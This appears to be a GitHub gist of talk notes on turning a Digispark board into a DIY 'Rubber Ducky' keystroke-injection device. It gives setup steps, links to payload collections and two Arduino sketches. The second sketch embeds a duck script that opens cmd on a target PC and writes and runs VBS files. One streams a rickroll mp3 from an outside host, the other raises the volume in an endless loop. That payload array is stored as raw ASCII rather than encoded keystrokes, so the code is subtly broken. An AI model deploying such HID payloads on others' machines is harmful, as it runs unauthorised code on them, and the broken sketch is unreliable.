Skip to content

Instantly share code, notes, and snippets.

@defmaybee
Last active July 25, 2019 08:49
Show Gist options
  • Save defmaybee/ae25ec37805fafa93baad23e2b950939 to your computer and use it in GitHub Desktop.
Save defmaybee/ae25ec37805fafa93baad23e2b950939 to your computer and use it in GitHub Desktop.
DIY RubberDucky BonnJS 2019
https://www.ebay.de/i/264332396794?chn=ps&var=563927058102&norover=1&mkevt=1&mkrid=707-134425-41852-0&mkcid=2&itemid=563927058102_264332396794&targetid=528583132301&device=c&mktype=pla&googleloc=9044678&campaignid=1669295905&mkgroupid=63847510759&rlsatarget=pla-528583132301&abcId=1139676&merchantid=7364532&gclid=CjwKCAjwpuXpBRAAEiwAyRRPgThSoMKqZfamo77ko5dVmUirGfHFt4GaxrMcnrLOmknSLLGqkuMNnRoCNVwQAvD_BwE
### TOOLS NEEDED
Update PID/VID
https://digistump.com/board/index.php?topic=2612.0
Arduino IDE 1.8.9
https://www.arduino.cc/en/Main/Software
OR
Arduino 1.6.5r2
https://www.arduino.cc/en/Main/OldSoftwareReleases#previous
as recommended by the vendor:
https://digistump.com/wiki/digispark/tutorials/connecting
Drivers:
https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip
Additional Board URL:
http://digistump.com/package_digistump_index.json
Official Encoder
https://github.com/hak5darren/USB-Rubber-Ducky
for supporting multiple keyboard layouts
Duck2Spark:
https://github.com/mame82/duck2spark
Convert Duck-Scripts to DigiSpark
---
K.I.S.S.:
1. echo "STRING Hello World" > test.duck
2. python duckencoder.py -i test.duck -o inject.bin -l de
OR java -jar duckencoder.jar -i test.duck -o test.bin -l de.properties
3. python duck2spark.py -i test.bin -l 1 -f 2000 -o sketch.ino
3. After setting up the Arduino IDE load the example "DigisparkKeyboard" and replace the Sketch source by the one saved to sketch.ino.
SCRIPTS:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
https://ducktoolkit.com/
https://github.com/BlueArduino20/Rickroll_MODDED_HID
---
/*
* Sketch generated by duck2spark from Marcus Mengs aka MaMe82
*
*/
#include "DigiKeyboard.h"
#define DUCK_LEN 22
const PROGMEM uint8_t duckraw [DUCK_LEN] = {
0xb, 0x2, 0x8, 0x0, 0xf, 0x0, 0xf, 0x0, 0x12, 0x0, 0x2c, 0x0, 0x1a, 0x2, 0x12, 0x0, 0x15, 0x0, 0xf, 0x0, 0x7, 0x0
};
int i = 1; //how many times the payload should run (-1 for endless loop)
bool blink=true;
void setup()
{
// initialize the digital pin as an output.
pinMode(0, OUTPUT); //LED on Model B
pinMode(1, OUTPUT); //LED on Model A
DigiKeyboard.delay(2000); //wait 2000 milliseconds before first run, to give target time to initialize
}
void loop()
{
//should code be runned in this loop?
if (i != 0) {
DigiKeyboard.sendKeyStroke(0);
//parse raw duckencoder script
for (int i=0; i<DUCK_LEN; i+=2)
{
uint8_t key = pgm_read_word_near(duckraw + i);
uint8_t mod = pgm_read_word_near(duckraw + i+1);
if (key == 0) //delay (a delay>255 is split into a sequence of delays)
{
DigiKeyboard.delay(mod);
}
else DigiKeyboard.sendKeyStroke(key,mod);
}
i--;
DigiKeyboard.delay(5000); //wait 5000 milliseconds before next loop iteration
}
else if (blink)
{
digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level)
digitalWrite(1, HIGH);
delay(100); // wait for a second
digitalWrite(0, LOW); // turn the LED off by making the voltage LOW
digitalWrite(1, LOW);
delay(100); // wait for a second
}
}
------------------
/*
* Sketch generated by duck2spark from Marcus Mengs aka MaMe82
*
*/
#include "DigiKeyboard.h"
#define DUCK_LEN 740
const PROGMEM uint8_t duckraw [DUCK_LEN] = {
0x44, 0x45, 0x4c, 0x41, 0x59, 0x20, 0x33, 0x35, 0x30, 0x30, 0xa, 0x47, 0x55, 0x49, 0x20, 0x72, 0xa, 0x44, 0x45, 0x4c, 0x41, 0x59, 0x20, 0x32, 0x30, 0x30, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x63, 0x6d, 0x64, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x44, 0x45, 0x4c, 0x41, 0x59, 0x20, 0x32, 0x30, 0x30, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x63, 0x64, 0x20, 0x25, 0x74, 0x6d, 0x70, 0x25, 0x20, 0x26, 0x26, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x20, 0x72, 0x69, 0x63, 0x6b, 0x79, 0x6f, 0x75, 0x2e, 0x76, 0x62, 0x73, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x74, 0x72, 0x75, 0x65, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x44, 0x69, 0x6d, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x53, 0x65, 0x74, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x28, 0x22, 0x57, 0x4d, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x2e, 0x4f, 0x43, 0x58, 0x22, 0x29, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x2e, 0x55, 0x52, 0x4c, 0x20, 0x3d, 0x20, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x70, 0x69, 0x78, 0x65, 0x6c, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x2e, 0x6e, 0x6c, 0x2f, 0x64, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x2f, 0x72, 0x69, 0x63, 0x6b, 0x72, 0x6f, 0x6c, 0x6c, 0x2e, 0x6d, 0x70, 0x33, 0x22, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x2e, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x73, 0x2e, 0x70, 0x6c, 0x61, 0x79, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x2e, 0x70, 0x6c, 0x61, 0x79, 0x53, 0x74, 0x61, 0x74, 0x65, 0x20, 0x3c, 0x3e, 0x20, 0x31, 0x20, 0x27, 0x20, 0x31, 0x20, 0x3d, 0x20, 0x53, 0x74, 0x6f, 0x70, 0x70, 0x65, 0x64, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2e, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x20, 0x31, 0x30, 0x30, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x65, 0x6e, 0x64, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x6f, 0x50, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x2e, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x65, 0x6e, 0x64, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x44, 0x45, 0x4c, 0x41, 0x59, 0x20, 0x31, 0x30, 0x30, 0xa, 0x43, 0x54, 0x52, 0x4c, 0x20, 0x7a, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x20, 0x76, 0x6f, 0x6c, 0x75, 0x70, 0x2e, 0x76, 0x62, 0x73, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x64, 0x6f, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x53, 0x65, 0x74, 0x20, 0x57, 0x73, 0x68, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x20, 0x3d, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x28, 0x22, 0x57, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x22, 0x29, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x73, 0x68, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x2e, 0x53, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x73, 0x28, 0x63, 0x68, 0x72, 0x28, 0x26, 0x68, 0x41, 0x46, 0x29, 0x29, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x57, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2e, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x20, 0x31, 0x30, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x6c, 0x6f, 0x6f, 0x70, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x43, 0x54, 0x52, 0x4c, 0x20, 0x7a, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x20, 0x72, 0x69, 0x63, 0x6b, 0x79, 0x6f, 0x75, 0x2e, 0x76, 0x62, 0x73, 0x20, 0x26, 0x26, 0x20, 0x76, 0x6f, 0x6c, 0x75, 0x70, 0x2e, 0x76, 0x62, 0x73, 0xa, 0x45, 0x4e, 0x54, 0x45, 0x52, 0xa
};
int i = 1; //how many times the payload should run (-1 for endless loop)
bool blink=true;
void setup()
{
// initialize the digital pin as an output.
pinMode(0, OUTPUT); //LED on Model B
pinMode(1, OUTPUT); //LED on Model A
DigiKeyboard.delay(2000); //wait 2000 milliseconds before first run, to give target time to initialize
}
void loop()
{
//should code be runned in this loop?
if (i != 0) {
DigiKeyboard.sendKeyStroke(0);
//parse raw duckencoder script
for (int i=0; i<DUCK_LEN; i+=2)
{
uint8_t key = pgm_read_word_near(duckraw + i);
uint8_t mod = pgm_read_word_near(duckraw + i+1);
if (key == 0) //delay (a delay>255 is split into a sequence of delays)
{
DigiKeyboard.delay(mod);
}
else DigiKeyboard.sendKeyStroke(key,mod);
}
i--;
DigiKeyboard.delay(5000); //wait 5000 milliseconds before next loop iteration
}
else if (blink)
{
digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level)
digitalWrite(1, HIGH);
delay(100); // wait for a second
digitalWrite(0, LOW); // turn the LED off by making the voltage LOW
digitalWrite(1, LOW);
delay(100); // wait for a second
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment